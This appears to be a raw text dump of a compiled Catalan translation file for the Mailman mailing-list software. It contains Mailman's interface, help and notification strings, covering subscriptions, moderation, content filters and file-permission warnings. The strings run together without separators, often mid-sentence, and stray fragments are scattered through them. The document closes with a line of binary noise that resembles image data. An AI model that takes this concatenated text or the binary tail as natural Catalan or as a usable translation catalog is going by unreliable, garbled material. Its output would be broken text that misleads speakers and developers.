             Exemples: [nomllista %%d] -> [nomllista 123]
                            (nomllista %%05d) -> (nomllista 00123)
             Aquest valor pot ser o bé el nom del vostre servidor de notícies, o bé
             la cadena nom:port, on port especifica un número de port.

             El servidor de notícies no és part del Mailman. Haureu de tenir
             accés a un servidor NNTP existent, el qual haurà de reconèixer la
             màquina on s'executa la llista de correu actual com a capaç
             d'enviar i llegir notícies.Aquest valor, si existeix, s'afegirà al principi del missatge
             de benvinguda dels nous subscriptors. La resta del missatge de
             benvinguda ja descriu les adreces i URLs rellevants de la llista de
             distribució, de manera que no necessita incloure aquest tipus d'informació
             aquí. Aquí només hauria d'incloure informació especifica a l'objectiu de la
             llista, com la política de la llista o una orientació als usuaris, o qualsevol altra             cosa similar.

             <p>Tingui en compte que aquest text es desplegarà d'acord
             amb les següents regles:
              <ul><li>Cada paràgraf es completa de manera que no ocupi més de 70 caràcters.
                    <li>Qualsevol línia que comenci amb un espai en blanc no es completa.
                    <li>Una línia en blanc separa paràgrafs.
              </ul>dijHaureu d'editar el fitxer /etc/aliases (o equivalent) per a finalitzar la
creació de la vostra llista de correu. Hi haureu d'afegir les línies
següents i possiblement executar el programa «newaliases»:
Per a cancel·lar la subscripció a la llista %(realname)s, rebre un recordatori
        de la contrasenya o bé canviar les vostres opcions de subscripció
        %(either)s, introduïu l'adreça electrònica de la vostra subscripció:
        <p><center> Per a accedir a la pàgina de configuració de l'administrador d'una
        llista no pública, obriu un URL similar a aquest, però amb una «/» i
        afegiu-hi el sufix %(extra)slist. Si disposeu dels privilegis
        necessaris, també podeu <a href="%(creatorurl)s">crear una llista de correu nova</a>.

        <p>Trobareu informació general sobre les llistes a Temes d'avui (%(msgcount)d missatges)Temes d'avui:
Massa destinataris al missatgeTema %(i)dDetalls del filtre de temesParaules clau dels temes, una per línia, a cercar en els missatges.Nom del tema:Les especificacions per a temes han d'incloure tant
                un nom com un patró. S'ignoraran les definicions incompletes.TemesdimturcDesactivar-lo només si té previst subscriure a gent manualment
            i no vol que ells ho sàpiguen. Aquesta opció és sobretot útil
            per a migrar de forma transparent llistes d'altres gestors de llistes
            de correu a Mailman.Estableix això a on si voleu enviar recordatoris de contrasenyes una vegada
            al mes als teus membres. Nota que els membres ho poden desactivar amb
            els seus recordatoris de contrasenya individuals.UucraïnèsConfiguració de llista en cascadaNotificació de retorn no capturadaNo s'esperaven aquests argumentsLínia From de Unix canviada: %(lineno)dLlengua desconeguda: %(lang)sLlista desconeguda: %(listname)sMàquina virtual desconeguda: %(safehostname)sDesbloquejar una llista bloquejada, però no desar-la implícitament.

    Això no aconsegueix executar-se si l'intèrpret surt a causa d'un senyal,
    o si es crida a os._exit() . Se'l cridarà si ocorre una excepció.
    S'està desbloquejant (però no desant) la llista: %(listname)sCancel·la la subscripcióCancel·la la subscripció o edita les opcionsSol·licituds de cancel·lació de subscripcióSol·licitud de cancel·lació de subscripcióS'ha confirmat la sol·licitud de cancel·lació de subscripcióSol·licitud de cancel·lació de subscripció satisfactòria.Resultats de la cancel·lació de la subscripcióS'està actualitzant el codi HTML per a l'article %(seq)sS'està actualitzant la base de dades pending_subscriptions.db del MAilman 2.0S'està actualitzant la base de dades pending.pck del Mailman 2.1.4S'estan actualitzant les marques d'aigua de l'UsenetS'estan actualitzant els fitxers d'índex per a l'arxiu [%(archive)s]S'està actualitzant la llista de correu: %(listname)sS'està actualitzant la base de dades de peticions retingudes.S'està actualitzant la versió %(hexlversion)s a la %(hextversion)sForma d'ús:Fes servir aquesta opció per a prohibir enviaments d'acord als valors de determinades capçaleres.
             El valor és una expressió regular que es compara amb les capçaleres indicades.
             La comparança es realitza sense tenir en compte majúsculs i minúscules. Les línies
             que comencen amb "#" s'ignoren al considerar-se comentaris.

             <p>Per exemple: <pre>to: .*@public.com </pre>  indica que es retingui tots els enviaments
             dels quals a la capçalera <em>To:</em> continguin '@public.com' en qualsevol posició.

             <p>Observi que els espais en blanc es treuen de l'expressió regular. Això es pot evitar de distintes
             maneres, escapant-los  o posant-los entre parèntesis.Utilitzi aquesta opció per a treure qualsevol adjunt que
            s'ajusti a qualsevol dels següents tipus de continguts.
            cada línia hauria contenir una cadena indicant un <tt>tipus/subtipus</tt> MIME,
            ex. <tt>image/gif</tt>. No indiqui el subtipus si vol treure totes les parts amb el tipus de contingut principal,
            ex. <tt>image</tt>.

            Les línies en blanc s'ignoren.

           <p>Vegi també <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a> per a obtenir un llista de tipus de contingut. Utilitzi aquesta opció per a treure qualsevol adjunt que no coincideixi amb un
             determinat content-type (tipus de contingut). Els requeriments i els formats són
             exactament com a <a href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>.

             <p><b>Nota</b>:Si afegeix entrades a aquesta llista però no afegeix
            <tt>multipart</tt> a la llista, el filtre rebutjarà qualsevol missatge
            amb adjunts.El usuari `%(addr)s' ha estat eliminat de la llista: %(listname)s.Adreça/nom de l'usuariPàgina d'opcions específiques de l'usuariS'està fent servir la versió del Mailman:ValorvietnamitaVegeu o editeu la informació de la configuració de la llista.Mostra aquesta pàgina enVisiteu la llista de subscriptorsVés a la llista de subscriptorsVés a la pàgina del administrador de la llistaVés a la pàgina d'informació de la llistaAtenció: no s'ha pogut adquirir el bloqueig de la llista: %(listname)sAVÍS: no existeix el directori: %(d)sAvís! S'està suprimint un fitxer .pck buit: %(pckfile)sAvís!  No és un directori: %(dirpath)sAtenció! pots trobar-te amb problemes de permisos.Avís: Avís: el directori dels arxius privats és executable per als altres
         usuaris (o+x).
         Això pot causar que altres usuaris del vostre sistema puguin llegir 
         els arxius privats.
         Si sou en un sistema multiusuari compartit, hauríeu de consultar-ne
         el manual per a esbrinar com solucionar aquesta situació.Atenció: no es pot eliminar %(src)s -- %(rest)sS'ha cancel·lat la vostra subscripció a aquesta
        llista de correu. Si us hi voleu tornar a subscriure
        aneu a la <a href="%(listinfourl)s">pàgina d'informació de la llista</a>.dicSetmanalFitxer de text del correu de benvingudaUs donem la benvinguda a la llista de correu%(digmode)s «%(realname)s»Us donem la benvingudaQuins passos s'han de seguir per a subscriure's?<br>Quan "umbrella_list" està activa és per a indicar que aquesta llista té
             a altres llistes com subscriptors, aleshores les notificacions administratives com
             les confirmacions i les contrasenyes no es necessiten enviar als subscriptors de les llista,
             sinó al propietari d'aquestes llistes. En aquest cas, el valor d'aquesta opció s'afegeix al nom
             d'usuari del membre per a tals notificacions. '-owner' és l'elecció típica.
             Aquesta opció no té efecte si "umbrella_list" és "No".Si la <a href="?VARHELP=nondigest/personalize">personalització</a> està habilitada
en aquesta llista, es poden utilitzar variables de substitució addicionals en les capçaleres
i en els peus de pàgina:

<ul><li><b>user_address</b> - l'adreça de l'usuari,
        conveertida a minúscules.
    <li><b>user_delivered_to</b> - l'adreça de subscripció
        de l'usuari, sense canviar-ne les majúscules i minúscules.
    <li><b>user_password</b> - la contrasenya de l'usuari.
    <li><b>user_name</b> - el nom complet de l'usuari.
    <li><b>user_optionsurl</b> - l'URL a la pàgina d'opcions de l'usuari.
</ul>
Quan es comença un nou volum de resum, el nombre de volum
            s'incrementa i el nombre d'enviament es reinicialitza a 1.Quan un nou membre es subscrit a aquest llista, les seves opcions inicials
             son agafades d'aquest conjunt de variables.Quan es rep un missatge d'un no-membre, es comprova si el
            remitent es troba en el llistat d'adreces explícitament
             <a href="?VARHELP=privacy/sender/accept_these_nonmembers"
             >acceptades</a>,
             <a href="?VARHELP=privacy/sender/hold_these_nonmembers">retingudes</a>,
             <a href="?VARHELP=privacy/sender/reject_these_nonmembers"
             >denegades</a> (rebotat), i
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >descartades</a>. Si no es troba cap coincidencia es parta a terme
             aquesta acció.Quan un membre vol deixar la llista, ell farà una sol·licitud per a
             cancel·lar la subscripció, ja sigui via web o via correu electrònic.
             Normalment es millor deixar obertes les cancel·lacions de subscripció
             de forma que els usuaris es poden donar de baixa ells mateixos.

             <p>Per algunes llistes, pots voler imposar l'aprovació del moderador
             abans de que la sol·licitud sigui processada. Ex, llistes corporatives on es
             requereix que els empleats siguin membres.Quin voleu que sigui el format predeterminat de recepció de resums?Si està establert, la llista de subscriptors està protegida per
                la contrasenya d'autenticacioó del membre o de l'admin.Quan aquesta opció està habilitada, es moderarà tot el tràfic de la llista, per ex.
            retingut per a moderar. Habiliti aquesta opció quan s'estigui
            fent servir la llista per a ofenses personals i vulgui donar un
            període de calma.Quan hageu acabat de fer canvis...Quan li digui a Mailman que realitzi una sincronització amb els grups de notícies,
             això significa que que vol començar a transferir missatges a la llista de distribució
             a partir del primer missatge nou trobat. Tots els missatges previs del grup de
             notícies s'ignoraran. Això és el mateix que si vostè estigués llegint el grup de
             notícia i marqués com <em>llegits</em> tots els missatges fins la data.
             Al posar-se al dia, els subscriptors de la llista de distribució no veuran cap dels
             missatges anteriors. On s'envian les respostes als missatges de la llista?             <tt>Remitent</tt> és <em>altament</em>recomanat per la
             majoria de llistes.Quin mode de lliurament es el predeterminat per  als nous usuaris?Encara que el detector de missatges rebotats de Mailman és bastant robust, és
             impossible detectar tots els formats de missatges rebotats que existeixen.
             Hauria de mantenir aquesta opció en <em>Sí</em> per dues raons: 1)
             Si és realment un rebot permanent d'un dels seus subscriptors,
              probablement hauria d'eliminar-lo de la llista manualment, i 2)
             podria enviar el missatge als programadors de Mailman per a afegir aquest nou
             format als formats coneguts.

            <p>Si, realment, no desitja ser molestat, configuri aquesta variable a
            <em/>No</em> i tots els missatges rebotats que no es detectin seran
            eliminats pel sistema.

            <p><b>Nota:</b> Aquest valor afecta també als missatges enviats a l'adreça -admin
            de la seva llista. Aquesta adreça està en vies de desaparició i no hauria d'utilitzar-se mai,
            però pot haver persones que encara enviïn missatges a aquesta adreça.
            Si ocorregués això amb aquesta opció configurada a <em>No</em> aquests missatges seran descartats.
            Si ho desitja, pot configurar un contestador <a href="?VARHELP=autoreply/autoresponse_admin_text">automàtic
            </a>per als missatges dirigits a les adreces -owner i -admin.Qui pot veure la llista de subscripció?AnualSíSi, w/descartarSi, w/enviarJa ets membre d'aquesta llista de correu!Ja esteu subscrit!Ja estàs subscrit.Ja esteu fent servir aquesta adreça de correu electrònicAra mateix s'ha bandejat la possibilitat de subscriure-us
        a aquesta llista. Hauríeu de contactar els administradors de la llista
        a %(owneraddr)s.Actualment se us prohibeix la subscripció a aquesta llista. Si creieu que 
aquesta restricció és errònia, contacteu el propietari de la llista a 
%(owneraddr)s.Se us ha prohibit enviar missatges a aquesta llista.No esteu subscrit a la llista de correu %(listname)sNo tens permès enviar missatges a aquesta llista de correu, i el  missatge ha estat
denegat automàticament. Si penses que els teus missatges estan sent denegats
per error, contacte amb l'amo de la llista a %(listowner)s.No se us permet obtenir la llista de subscriptors.No teniu autorització per a crear una llistes de correu novesNo esteu autoritzat a suprimir aquesta llista de correuAra mateix no esteu subscrit. Pot ser que hàgiu cancel·lat la subscripció
o canviat la vostra adreça de correu?Podeu accedir a les vostres opcions personals a través de l'URL següent:Pots crear una llista de correu electrònic introduint la
    informació en el següent formulari. El nom de la llista es farà servir com adreça
    primària per a enviar missatges a la llista, pel que ha d'estar en minúscules.
    no podràs fer canvis una vegada que la llista sigui creada.

    <p>També has d'introduir l'adreça de correu electrònic de l'amo inicial de la llista.
    Una vegada que la llista sigui creada l'amo rebrà una notificació amb la contrasenya
    inicial. Aleshores, l'amo de la llista podrà modificar la contrasenya i incloure
    o eliminar amos addicionals de la llista.

    <p>Si voleu que el Mailman generi automàticament la contrasenya inicial per a l'administrador
    de la llista, feu clic a «Si», i deixeu el camp de contrasenya de la llista buit.

    <p>Has de tenir l'autorització adequada per a crear la nova llista de correu electrònic.
    Cada lloc web hauria de tenir una clau de creadors de llistes que es pot introduir en el camp del final.
    Finalment hi ha que ressenyar que també es pot fer servir la clau d'administració del servidor.
    No podeu afegir una Resposta-Per a: a una
            adreça concreta si aquesta última està en blanc. Es reinicialitzaran aquests valors.No pots activar el gateway a no ser que
                <a href="?VARHELP=gateway/nntp_host">el camp del servidor de noticies</a> i
                el <a href="?VARHELP=gateway/linked_newsgroup">camp de
                grup de noticies</a> no estiguin buits.No has donat la contrasenya antiga correcta, la vostra contrasenya no ha estat canviat.
Fes servir la versió sense arguments del comando password per recuperar la vostra
contrasenya actual i torna-ho a provar.No heu introduït la contrasenya correctaUs heu oblidat d'introduir el nom de la llistaUs heu oblidat d'especificar el propietari de la llistaHeu introduït una contrasenya erròniaSe us ha subscrit satisfactòriament a la llista de correu %(realname)s.Has estat eliminat satisfactòriament de la llista
            de correu eletrònic %(fqdn_listname)s. Si estaves rebent resums,
            pot ser que en rebis un mes. Si tens alguna pregunta sobre la vostra
            subscripció contacta amb l'amo de la llista a
            %(owneraddr)s.S'ha cancel·lat la vostra subscripció a la llista de correu %(realname)sHas cancel·lat l'activació de la vostra subscripció. Si
     continuem rebent rebots de la vostra adreça, podria ser eliminada
     de la llista de correu.Heu cancel·lat la vostra sol·licitud de canvi d'adreçaHeu cancel·lat la vostra sol·licitud de subscripció.Heu cancel·lat la vostra sol·licitud de cancel·lació de subscripció.Hi ha subscriptors que reben el correu de forma agrupada, però l'enviament
                de missatge agrupats està desactivat. Aquests usuaris no
                podran rebre cap correu.Hi ha subscriptors que reben els correus de forma individual, però l'enviament
                de missatges individuals està desactivat. En aquesta situació,
                aquests usuaris no podran rebre cap correu.Heu creat la llista de correu satisfactòriament
    <b>%(listname)s</b> i se n'ha enviat una notificació al propietari de la llista
    <b>%(owner)s</b>. Ara podeu fer el següent:Heu suprimit satisfactòriament la llista de correu
    <b>%(listname)s</b>.Heu establert les teves opcions satisfactòriament.Heu desactivat el lliurament tant de missatges individuals com de
                missatges de resum. Aquesta configuració és incompatible.
                Cal que habiliteu o bé els missatges individuals o bé els
                de resum. En cas contrari, la vostra llista de correu
                serà inutilitzable.Heu convidat %(address)s a la vostra llista, però
s'ha intentat confirmar la inviatació per a una altra llista de manera
intencionada i maliciosa. Això n'és simplement la notificació. No es requereix
cap acció per part vostra.Pot ser que encara rebeu un últim resum.No podeu subscriure una llista a ella mateixa!Per a confirmar la vostra sol·licitud de cancel·lar la subscripció has d'activar
                la casella sota el botó <em>cancel·lar subscripció</em>.
                La vostra subscripció no ha estat cancel·lada!Primer has de fixar l'anterior adreça invàlida.Heu d'especificar el nom d'una llista. Aquí hi ha la %(link)sHeu d'especificar una llista.Heu d'especificar una adreça electrònica vàlida.No se us ha convidat a aquesta llista de correu. S'ha descartat la invitació i
se n'ha informat a ambdós administradors d'aquesta llista.Se us enviarà una sol·licitud de confirmació per a evitar
            que altres us subscriguin sense el vostre permís.Se t'enviarà un missatge de confirmació, per
            a prevenir, que una altre persona et subscrigui.
            Quan es rebi la vostra confirmació, la sol·licitud es retindrà per a
            l'aprovació del moderador de la llista. se't notificarà la decisó
            del moderador amb un correu electrònic.La cadena <code>%(property)s</code> semblava tenir
                    un nou valor amb problemes que s'han pogut corregir.
                    S'utilitzarà el valor corregit. Si us plau, verifiqui que el resultat
                    és el que vostè pretenia aconseguir. 
                    Es requereix la vostra confirmació per a cancel·lar
    l'enviament del missatge a la llista de correu <em>%(listname)s</em>:

    <ul><li><b>Remitent:</b> %(sender)s
        <li><b>Tema:</b> %(subject)s
        <li><b>Raó:</b> %(reason)s
    </ul>

    Prem el botó <em>Cancel·la l'enviament</em> per descartar l'enviament.

    <p>O prem el botó <em>Continuar Esperant l'Aprovació</em> per a continuar
    esperant que el moderador aprovi o denegui el missatge.Es requereix la vostra confirmació per a completar la
    vostra sol·licitud de canvi d'adreça a la llista de correu <em>%(listname)s</em>. 
    Actualment estàs subscrit amb 

    <ul><li><b>Nom real:</b> %(fullname)s
        <li><b>Adreça de correu electrònic antiga:</b> %(oldaddr)s
    </ul>

    i has fet la sol·licitud de canvi d'adreça de correu electrònic de forma %(globallys)s a

    <ul><li><b>Nova adreça de correu electrònic:</b> %(newaddr)s
    </ul>

    Prem el botó <em>Canviar l'adreça</em>per acabar el procés de confirmació.

    <p>Or hit <em>Cancel·la i descarta</em> per a cancel·lar la sol·licitud de
    canvi d'adreça.Cal la vostra confirmació per a completar la
    sol·licitud de subscripció a la llista de correu <em>%(listname)s</em>.
    A continuació es mostren els paràmetres de la vostra subscripció, els 
    quals podeu canviar si és necessari. Un cop estigueu satisfet amb la
    configuració, premeu <em>Subscriu-me</em> per a completar el procés de 
    confirmació. Un cop fet això, se us mostrarà la pàgina d'opcions del
    vostre compte, la qual podreu utilitzar per a personalitzar les vostres
    opcions de subscripció.

    <p>Nota: un cop s'hagi confirmat la subscripció se us enviarà la vostra
    contrasenya, la qual podreu canviar més endavant si aneu a la vostra pàgina
    d'opcions.

    <p>O bé premeu <em>Cancel·la la meva sol·licitud de subscripció</em> en 
    cas que no us vulgueu subscriure a aquesta llista.Es requereix la vostra confirmació per a completar la
    vostra sol·licitud de cancel·lar la subscripció de la llista de correu <em>%(listname)s</em>. 
    Actualment estàs subscrit amb 

    <ul><li><b>Nom real:</b> %(fullname)s
        <li><b>Adreça de correu electrònic:</b> %(addr)s
    </ul>

    Prem el botó <em>Cancel·la la subscripció</em>per acabar el procés de confirmació.

    <p>Or hit <em>Cancel·la i descarta</em> per a cancel·lar la sol·licitud de
    cancel·lació de subscripció.Es requereix la vostra confirmació per a completar la
    sol·licitud de subscripció a la llista de correu <em>%(listname)s</em>. La vostra
    configuració es mostra a continuació; Pots fer els canvis necessaris i després prémer
    <em>Enviar</em> per a completar el procés de confirmació. Una vegada
    que hagis confirmat la vostra sol·licitud de subscripció, el moderador l'aprovarà o la denegarà.
    Rebràs notícies de la seva decisió.

    <p>Atenció: la vostra contrasenya se't enviarà per correu electrònic quan hagis confirmat la vostra subscripció.
    Pots canviar-la visitant la vostra pàgina personal d'opcions.

    <p>O prem <em>Cancel·la</em> per a cancel·lar la sol·licitud de subscripció.Es requereix la vostra confirmació per a unir-vos a la llista de correu %(listname)sEs requereix la vostra confirmació per a abandonar la llista de correu %(listname)sLes vostres opcions actuals de configuració:La vostra decisióLa vostra adreça de correu electrònic:La vostra subscripció a la llista %(realname)s està actualment
    desactivada degut a un nombre excessiu de retorns. Cal la
    vostra confirmació per a reactivar el lliurament a la vostra adreça.
    La següent informació és disponible:

    <ul><li><b>Adreça del subscriptor:</b> %(member)s
        <li><b>Nom del subscriptor:</b> %(username)s
        <li><b>Últim retorn rebut el:</b> %(date)s
        <li><b>Nombre aproximat de dies abans de ser
               eliminat d'aquesta llista:</b> %(daysleft)s
    </ul>

    Premeu el botó <em>Reactiva la subscripció</em> per continuar rebent enviaments
    de la llista de correu, o bé premeu el botó <em>Cancel·la</em>per ajornar la
    reactivació de la vostra subscripció.
    El vostre missatge tenia una capçalera sospitosa.El vostre missatge a la llista %(listname)s espera l'aprovació de l'administradorEl moderador ha considerat que el vostre missatge és inapropiat.S'ha refusat el vostre missatgeEl vostre missatge era massa gran, ha de ser de menys de %(kb)d KB.La contrasenya nova de %(listname)sLa vostra nova llista de correu:La vostra contrasenya es: %(password)sLa vostra contrasenya no coincideix.El vostre nom real:La vostra sol·licitud ha estat enviada al moderador de la llista per a la seva aprovació.No es permet la vostra subscripció perquè
l'adreça electrònica que heu especificat és insegura.La vostra subscripció no està permesa perquè l'adreça que heu especificat
no és segura.S'ha enviat la vostra sol·licitud de subscripció a l'administrador
de la llista a %(listowner)s perquè la comprovi.S'ha rebut la vostra sol·licitud de subscripció i aviat serà atesa.
Depenent de la configuració d'aquesta llista de correu, pot ser que hàgiu
de confirmar-la per correu electrònic, o bé que el moderador de la llista
l'hagi d'aprovar. En cas que calgui la confirmació, ben aviat rebreu un
correu electrònic amb més instruccions.La vostra sol·licitud de subscripció ha estat ajornada per %(x)s. La vostra sol·licitud ha
estat enviada al moderador de la llista. Rebràs un missatge de correu electrònic
informant-te de la decisió del moderador.La vostra sol·licitud de cancel·lació de subscripció
                    s'ha enviat a l'administrador de la llista
                    perquè l'aprovi.S'ha enviat la vostra sol·licitud de cancel·lació de subscripció a 
l'administrador de la llista perquè l'aprovi.La vostra sol·licitud per a cancel·lar la vostra subscripció ha estat rebuda i
            enviada al moderador de la llista per a la seva aprovació. Rebràs una
            notificació quan el moderador prengui una decisió.No s'ha autoritzat l'entrega del vostre missatge urgent a la llista de correu
%(realname)s. El missatge original tal com l'ha rebut el Mailman s'adjunta al
final.
[----- final del fitxer %(typename)s -----][----- inici del fitxer %(typename)s -----][Missatge descartat pel filtre de contingut][No hi ha detalls disponibles sobre retorns][No s'ha donat cap explicació][No s'ha donat cap motiu][inhabilitat a causa de una neteja periòdica, no hi ha cap missatge disponible][no té cap descripció]un sol missatge retingut.confirmacióopció ack establertavisualització general administrativa de la llistatots els missatges retinguts.tots els missatges retinguts de %(esender)s.també Els permisos dels fitxers db han de ser %(octperms)s: %(path)sno es troba el fitxer d'article %(filename)s!ha canviat l'atribut «%(k)s»s'ha ignorat l' atribut «%(k)s»autorper l'administradorde l'administrador de la llistaper vósde vóscomprovar la plantilla traduïda amb l'original
        buscar també etiquetes <MM-*> si l'html no és zerocomprovar una traducció comparant-la amb la cadena originalComprovar les diferencies entre els que s'han descarregat i els que s'han de pujar comprovant permisos de cgi-bincomprovació del mode per %(prefix)ss'està comprovant el propietari de %(dbfile)ss'estan comprovant els permisos de %(file)scomprovant permisos de %(pwfile)scomprovant permisos a la informació de la llistacomprovació dels permisos de %(private)scomprovant permisos de set-gid per %(wrapper)sNo es pot eliminar l'antic fitxer %(pyc)s -- %(rest)sdatadiadiesentrega inhabilitada per l'usuarientrega habilitadaentrega desactivadaentrega activadaagrupatspeu de pàgina del resumcapçalera del resumopció de resum establertael directori ha de ser almenys 02775: %(d)sels permisos de directori han de ser %(octperms)s: %(path)sinhabilitatfeta causa de retornsa causa d'un nombre excessiu de missatges retornatsopció duplicats establertaadreça electrònica i s'estan calculant els arxius dels articles
els permisos dels fitxers han de ser almenys 660: %(path)ss'estan reparant els permisos als vostres fitxers html antics per a
treballar amb b6
Si els vostres arxius són grans, això pot trigar un minut o dos...per raons desconegudestrobat a:des de %(start)s fins a %(end)svisualització general de la llistasupressió dels dels fitxers font vellsglobalmentamagaopció d'ocultació establertallenguaels valors permesos són:creador de la llistainformació de la llistallista de les llista de correu disponiblesEl nom de la llista és requeritllistes de correu coincidents:El fitxer mbox ha de ser almenys 0660:adreça electrònica del subscriptor<br>nom del subscriptorsubscriptorsno es pot analitzar el missatge: %(filebase)smoderatopció els meus enviaments establertan/asense datasi no hi ha llistes, no hi ha res per fer, per la qual cosa se sortiràsense assumptesense duplssense correu<br>[motiu]no disponiblesense còpiadesactivatactivatopcionsanalitzar sintàcticament un fitxer .po extraient msgids i msgstrs contrasenyatext plaprivatfitxers privatsprocessant llista de correu:públicfitxers públicsopció recordatori establertas'està suprimint %(src)ss'està suprimint el directori %(src)s i tot el seu continguttornar a la pàgina d'opcions de la categoria %(categoryname)s.correctecorrecte Escanejar una cadena des del fitxer original escanejar una cadena traduïda escanejar el fitxer po comparant msgids amb msgstrsllocmida no disponibleels permisos dels fonts han de ser %(octperms)s: %(path)sfitxer de bloqueig obsoletstop és sinònima de l'ordre end.
assumpteles subscripcions a %(name)s requereixen l'aprovació de l'administradorles subscripcions a %(realname)s requereixen l'aprovació del moderadorla pàgina de visualització general d'administració de la llistal'administrador de la llistala pàgina d'informació general de les llistes de correufilremitent desconegutdesubsles cancel·lacions de subscripció requereixen l'aprovació del moderadorS'estan actualitzant els antics qfilesveure tots els missatges de %(esender)s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`